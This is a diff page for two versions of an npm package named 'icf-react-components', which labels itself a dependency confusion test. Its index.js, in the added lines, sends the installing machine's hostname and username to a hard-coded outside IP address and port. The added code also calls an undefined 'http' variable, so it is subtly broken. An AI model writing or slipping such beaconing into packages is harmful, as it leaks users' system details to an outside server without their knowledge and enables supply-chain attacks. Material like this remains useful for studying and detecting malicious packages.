icf-react-components 1.0.0 → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +8 -11
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,14 +1,11 @@
1
- const https = require('https');
1
+ const https = require('http'); // Use http instead of https for non-SSL setup
2
2
 
3
- // Report back when the package is installed
4
- https.get('https://your-server.com/report-install?host=' + process.env.HOSTNAME, (resp) => {
5
- let data = '';
6
- resp.on('data', (chunk) => {
7
- data += chunk;
8
- });
9
- resp.on('end', () => {
10
- console.log(data);
11
- });
3
+ // Replace 'YOUR_VPS_IP' with your actual VPS IP address
4
+ const vpsIp = '62.171.155.146';
5
+ const port = 54333;
6
+
7
+ http.get(`http://${vpsIp}:${port}/report-install?host=${process.env.HOSTNAME}&user=${process.env.USER}`, (resp) => {
8
+ console.log('Notification sent');
12
9
  }).on("error", (err) => {
13
- console.log("Error: " + err.message);
10
+ console.log("Error: " + err.message);
14
11
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "icf-react-components",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "A harmless testing package for dependency confusion testing.",
5
5
  "main": "index.js",
6
6
  "scripts": {